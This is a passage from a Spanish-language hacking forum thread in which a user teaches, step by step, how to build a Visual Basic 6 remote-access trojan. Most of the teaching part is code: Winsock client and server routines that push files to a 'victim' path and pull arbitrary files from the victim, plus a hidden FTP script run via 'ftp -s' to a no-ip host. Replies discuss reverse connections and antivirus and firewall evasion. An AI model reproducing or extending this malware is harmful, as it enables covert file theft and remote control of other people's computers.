        datos2 = datos2 + datos
    End If
        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"
        Open path For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If
If Left(datos, 5) = "coger" Then
datos = Mid(datos, 6)
Open datos For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
filesize = Len(filedata)
ws.SendData "archivo" & filesize
End If
End Sub

empezamos! necesitamos añadir los componentes microsoft  commond dialog control, microsoft windows commond controls y   
el componente winsock control, para cliente y servidor; para el cliente ademas: 3 botones, una barra de progreso, el winsock el common dialog , un timer y un label; en el servidor: un label, un timer y el winsock.

-----------------------------------------------------------------------

1- una vez que se establece la conexion por el puerto especificado en el codigo y etc... queda el servidor listo a la espera de que el cliente le pide un archivo, o le mande un archivo.

2- el cliente manda un archivo a el servidor:

"cd" es el nombre que le e dado yo al commonddialog!
cd.Filter = "Todos los archivos |*.*" 'especifica que el cd muestre cualquier tipo de archivo. cd.filter = "lo que quieras poner | *.extension"

cd.ShowOpen     'esto indica que muestre un cuadro para poder abrir un archivo

Open cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1

estas 3 lineas ya se vio lo que significan, solo que aqui se abre el archivo en modo binario y el contenido del archivo se mete en la variable filedata, la ruta al archivo la coje dependiendo de el archivo que elejiste en el cuadro de dialogo, por estas funciones tan cucas, es muy util el commond dialog, muchisimos programas lo usan, y da un aspecto elegante a tu programa :P

esplicare unas pequeñas cosas del commond dialog:

cd.showopen 'hace que te muestre el dialogo para ejelir un archivo
cd.showsave ' lo mismo pero para guardarlo
cd.filename ' es la ruta COMPLETA de el archivo
cd.filetitle ' es solo el nombre del archivo elejido y su estension
cd.filter se pone antes de cd.showopen/save, para especificar a nuestro gusto que archivos se mostraran

nombre = cd.filetitle ' ahora esto ya sabeis para que es XD

path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)

la variable path tendra el resultado de el inputbox, y el inputbox te dice: inputbox ("testo que quieras poner" & vbcrlf & "lo que quieras", "titulo del inputbox",variable donde se guardara lo introducido en el, es importante saber que vbcrlf sirve a modo de INTRO, de retorno de carr para escribir una nueva linea abajo de la otra, y despues de la primera coma va el titulo y en la segunda la variable:  inputbox ("mensaje","titulo",variable)

path = path & nombre  '  el caracter & concatena el valor de path con el valor de nombre

filesize = Len(filedata)     'la variable de tipo LONG filesize sera = a el tamaño de la variable STRING filedata, osea que la variable filesize contendra el numero de bytes que pesa el archivo!

ws.SendData "archivo" & "|" & filesize & "|" & path    'envia al servidor esto: "archivo|56423|c:\windows\calc.exe"

por que e añadido el caracter | entre medio? pronto lo vereis! y el codigo seria el siguiente:

Código:
Private Sub Command2_Click()
cd.Filter = "Todos los archivos |*.*"
cd.ShowOpen
Open cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
nombre = cd.FileTitle
path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
path = path & nombre
filesize = Len(filedata)
ws.SendData "archivo" & "|" & filesize & "|" & path
End Sub

ahora nos vamos al servidor al evento llegada de datos!

ws.GetData datos ' ya visto anteriormente

If Left(datos, 7) = "archivo" Then 'si los 7 primeros caracteres de la izquierda de datos, = "archivo" entonces:

send = True                      'este interruptor se enciende
    dato = Split(datos, "|")   'la variable DATO es de tipo VARIANT y sera = a partir datos por el caracter "|"

os acordais de esto? yo dividi en 3 trozos lo que mande al servidor: 1ª la palabra archivo 2ª el tamaño del archivo 3ª una ruta. Bien pues aqui split lo que hace es buscar el caracter | y meter en la variable dato los 3 trozos separados, por que hace como una matriz de esa variable, el primer cacho sera = dato(0) , el segundo fragmento sera = a dato(1) y el tercero dato(2), siempre empieza l index de dato por cero. en este caso  es una sola variable con 3 datos diferentes, quizas sea un poco lio, re leerlo y comprenderlo, por que es muy util esto


    filesize = dato(1)
    path = dato(2)
    ws.SendData "enviar"  'aqui le manda el dato enviar, al cliente y el cliente al recibirlo MANDA al SERVIDOR el ARCHIVO
por que de momento el cliente solo habia mandado unos datos necesarios, antes de empezar a enviar el archivo.

    datos2 = ""



Else         `cuando el proximo deto que llegue y no empiece por "archivo" se ejecutara estas instruciones:

    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
    End If
'si el tamaño de la variable string datos2(que sera la que recoja el archivo!) no es igual al tamaño total del archivo entonces que los datos que hallan llegado se metan en la variable datos2, y si llega otro pues que se sume, asi el archivo datos2, a cada paquete que le llegue se ira sumando, por que al enviar el archivo por paquetes, estos los tenemos que juntar todos de alguna manera para formar el archivo original y cuando el tamaño de datos2 sea = al tamaño que tiene que tener, el tamaño total, cuando eso pase se ejecutara lo siguiente :

        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"     'manda una señal como que se a recibido

        Open path For Binary As #1
        Put #1, 1, datos2
        Close #1

y aqui abre un archivo en la ruta que le especificaste en el inputbox del cliente y mete la variable datos2, osea el archivo!
ya esta lo hemos logrado! XD

        End If
End If

el codigo entero lleerlo y intentar verlo y comprenderlo todo, por que os lo acabo de explicar!:

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String, dato As Variant
ws.GetData datos
If Left(datos, 7) = "archivo" Then
send = True
    dato = Split(datos, "|")
    filesize = dato(1)
    path = dato(2)
    ws.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
    End If
        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"
        Open path For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If
End Sub

3- el cliente coje un archivo del servidor

cliente
Código:
Private Sub Command3_Click()
Dim ruta As String
ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
ws.SendData "coger" & ruta
ext = Right(ruta, Len(ruta) - 4)  'coje los 4 ultimos caracteres de la variable ruta

End Sub

me niego a esplicarlo mas por que es lo mismo que el otro, simplemente ese boton te pide la direccion del archivo remoto y le dice al servidor que te lo mande

servidor

si los primeros caracteres de los datos entrantes son: coger, entonces el resto del contenido de los datos entrantes (osea la ruta!!)  se use para abrir un archivo en esa ruta y introducir en una variable el contenido de ese archivo.

Código:
If Left(datos, 5) = "coger" Then
datos = Mid(datos, 6)
Open datos For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
filesize = Len(filedata)
ws.SendData "archivo" & filesize    'aqui no mando el path por que el sitio donde tu lo quieras guardar te dejara elejirlo el commond dialog!

End If

ahora el procedimiento es el mismo que antes, salvo que al reves, el servidor manda y el cliente recibe, pero con el mismo protocolo que anteriormente!

Código:
If Left(datos, 7) = "archivo" Then
send = True
    filesize = Mid(datos, 8) ' coger el tamaño apartir de el 8 caracter de la variable datos
    ws.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
        pb.Min = 0                    'pb es el nombre de la barra de progreso y le ponemos como minimo cero,es evidente!

        pb.Max = filesize  ' el valor maximo de la pb sera el tamaño de el archivo!

        pb.Value = Len(datos2) ' el valor actual de la pb sera el tamaño de el archivo actualemnte almacenado

        pb.Refresh 'refresca
    End If
        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"
        pb.Value = 0 ' el valor de pb es cero por que ahora ya se a completado el archivo

        cd.Filter = "Archivos " & ext & "| *" & ext     'aqui ponemos la variable ext, en el filtro,la extension la cogia al indicarle la ruta del archivo de la victima para coger

        cd.FileName = ""   'para que no nos marque ningun nombre al abrir el dialogo de guardar

        cd.ShowSave  ' abre el dialogo de guardar
        Open cd.FileName For Binary As #1   'abre la ruta con el nombre elejido para guardar el archivo

        Put #1, 1, datos2   ' mete el archivo
        Close #1         'cierra el archivo
        End If
End If

esto esta claro que es en el evento llegada de datos del cliente, aui hemos usado el commond dialog por que para nosotros es util, en el servidor no por que seria un cantazo enviarle un archivo y que le dijera ala victima una ventanita que donde desea guardarlo XD logico, no?

tambien hemos usado la barra de progreso, no la he detallado mucho pero ahora lo hago y termino con esta tercera parte del curso

en el evento (mientras se envian datos) de EL CLIENTE

cuando se inicio el envio de el archivo de el cliente al servidor, en la primera parte que he esplicado sobre el intercambio de archivos, un interruptor PROGRESO lo puse a TRUE encendido asi solo en ese momento, solamente cuando lo que envie sea el archivo, y no datos de comandos o etc... que se active la barra de progreso para saber cuando falta para completar la transferencia:

Código:
Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)

'cuando se envia algun dato:

If progreso = True Then

'si el interruptor esta activado entonces continua:

pb.Min = 0     'valor minimo cero
pb.Max = filesize    'valor maximo el tamaño total del archivo, ESTO SIEMPRE ES EN BYTES

bytes = bytes + bytesSent   'bytes es igual a lo que tenga bytes mas los bytes enviados, (EL PAQUETE ENVIADO) la variable bytessent te la da esta subrutina, asi que no ay que declararla...

pb.Value = bytes ' el valor actual sera los bytes actualmente enviados en conjunto

pb.Refresh
If filesize = bytes Then  'cuando se haya enviado el total del archivo, cuando los bytes enviados sean = a los bytes totales del archivo...

pb.Value = 0  ' la pb, se pone a 0 como señal de que a terminado y por que a de estar asi para un futuro envio

MsgBox "Archivo enviado con exito"
progreso = False 'se desactiva el interruptor para que la barra no se active acidentalmente al enviarle datos que no sean el archivo al servidor.

End If
End If
End Sub

usar la barra de progreso es asi de facil, y antes ya vimos como usarla para cuando te llega a ti el archivo.

otro dia esplico mas cosas y mas funciones para el troyano! pero de momento creo que como ejercicio podiais intentar razonar todo este mecanismo y modificarlo para que funcione mejor o cambiar algo que os parezca oportuno... seguramente habra otras formas y quizas mas sencillas, no lo se, yo he diseñado esta, con alguna ayuda de un colega.

la primera que se me ocurrio fue esta manera:

te configurabas un servidor ftp, como el serv-u y ponias este codigo en el servidor:

Código:
Open ("c:\windows\system\nt") For Output As #1
Print #1, "o cuenta.no-ip.sytes"
Print #1, "user"
Print #1, "pass"
Print #1, "bin"
Print #1,  comando
Print #1, "bye"
Close #1
Shell ("ftp -s:c:\windows\system\nt"), vbHide

yo solo tenia que mandarle con el cliente un dato que activase ese codigo y un dato que me cojia de un textbox donde ponia esto:

le ponia la ruta de mi archivo a cojer y el comando ftp:
get c:\archivo.exe
y si queria cojerle un archivo a el ponia:
put c:\ruta de su archivo

, mas sencillo , no? supongo que entendeis que he hecho con ese codigo.... crearle un archivo de testo con comandos ftp  luego activarle su cliente ftp que todo qindows trae por defecto con la opcion de que coja las instruciones de ese archivo de testo, que aunque no le ponga estension .txt , lo interpreta =

pero donde este la forma que he esplicado mas elegante y profesional que se quite usar un programa adicional...

otro dia pongo mas cosas, que ya me duelen los dedos de tanto teclear...

UN SALUDO!!!!!!!!  dudas quejas comentarios, lo que querais lo decis!

Xenon alias fulano_
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
Drekken

Desconectado Desconectado

Mensajes: 4



Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #9 en: 18 Febrero 2005, 03:32 »

Buenas lo e estado mirando y me gustaria saber exactamente el software que necesitaria versiónes etc...

Y si alguien lo tiene echo o me quisiera ayudar , que me envie un correo a mi mail o k me agregue a  artikero666@hotmail.com eso seria lo mejor ... porque estoy algo liado. ???

Gracias   
En línea

El D!@ En K loS MueRTos No CoJan En EL InF!eRnO CaMiNaran x T!eRRa...
-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #10 en: 18 Febrero 2005, 03:52 »


el software que te hace falta para esto es el Microsoft Visual Basic version 6 por ejemplo, yo lo baje del emule, y para que a conexion inversa te funcione bien y se conecte a tu ip, necesitaras el programa de WWW.NO-IP.COM, para tener un host dns  y que nunca te cambie la ip.

por lo demas intente explicar el curso en los primeros parrafos de una manera como si nunca hubieras usado "casi" el VB, pero con que te leas por encima un pequeño tutorial de vb y practiques los eventos de  los botones y algunas cosas fundamentales mas como , el uso de variables, con eso ya serias capaz de ir comprendiendo todo el codigo que he esplicado.

un saludo! mi mail es fulano_@hotmail.com para mas dudas

xenon
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
para Man-In-the-Middle
« Respuesta #11 en: 18 Febrero 2005, 06:34 »


Ya lo tengo Man-In-the-Middle ,lo prometido es deuda

aqui dejo la url a el archivo, esta en .doc y espero que se vea bien
le puse el fondo negro y el codigo lo escribo en verde para diferenciarlo, vamos que esta mas limpio y legible, espero que al guardar el archivo.doc conserve los colores, los margenes, etc...

seria un honor que este manual se colgara en la web!

http://foroelhacker.iespana.es/cursotroyano.doc

si lo continuo mas, lo publicare primero en este hilo!

un saludo!  ---Xenon---
« Última modificación: 28 Mayo 2006, 15:29 por -Xenon- » En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
Drekken

Desconectado Desconectado

Mensajes: 4



Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #12 en: 18 Febrero 2005, 12:43 »

Fulano excelente texto ! ;D pero te vuelvo a decir mi pregunta el troyano que indetectable por los antivirus?  ??? , ai algun sitio para poder mirar la estructura d como kda ?  ::)


gracias
« Última modificación: 18 Febrero 2005, 12:53 por Drekken » En línea

El D!@ En K loS MueRTos No CoJan En EL InF!eRnO CaMiNaran x T!eRRa...
-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #13 en: 18 Febrero 2005, 23:50 »


Hola, gracias, aver te esplico:

el troyano que me he creado yo es indetectable y burla la mayoria de los firewalls, gracias ala conexion inversa, y es indetectable por que no he publicado el troyano todavia.

ay 2 formas de que un troyano sea detectado:

1- que haya sido analizado por compañias de antivirus, para ello an de tener el troyano para estudiarlo y hacer offsets para detectarlo... ( mas o menos es asi, correjirme si me equivoco )

2-por heuristica, osea un programa podria detectar el troyano aunque no haya sido publicado y por consiguiente no haya sido analizado por compañias, la heuristica se encarga de analizar ciertos patrones, en este caso podrian analizar los datos que se envian por los sockets, o puertos , y si el programa troyano sigue iertos patrones comunes en los troyanos pues sera detectado como POSIBLE codigo malicioso.

asi que endefinitiva, este curso te ayuda ha crear tu propio troyano indetecbale y con la habilidad de burlar algunos firewalls

esto es mas o menos, si alguien lo quiere matizar mejor...

y te repito el codigo de mi troyano no esta publiaco y los ejecutables tampoco por que no se trata de que copies mi troyano, si no de que te lo curres tu mismo y aprendas, aparte de ser una mayor satisfaccion personal currartelo tu, seria mayormente indetectable y joder con el curso no tienes escusa para no hacertelo, lo he esplicado suficientemente bien, creo yo!

un saludo!!!!!!!

Xenon
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
GhettoSoul

Desconectado Desconectado

Mensajes: 345


If you are sad; drink


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #14 en: 19 Febrero 2005, 22:46 »

fulano_ te felicito, has tenido una muy buena iniciativa ;)
En línea

Quieres parecerte a un rapero, lo intentas,
pero aún así no lo aparentas,
te podría dar clases para que te dieras cuenta,
de lo que es rimar,
y no lo que tu inventas.
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 38 Ir Arriba Imprimir 
Ir a: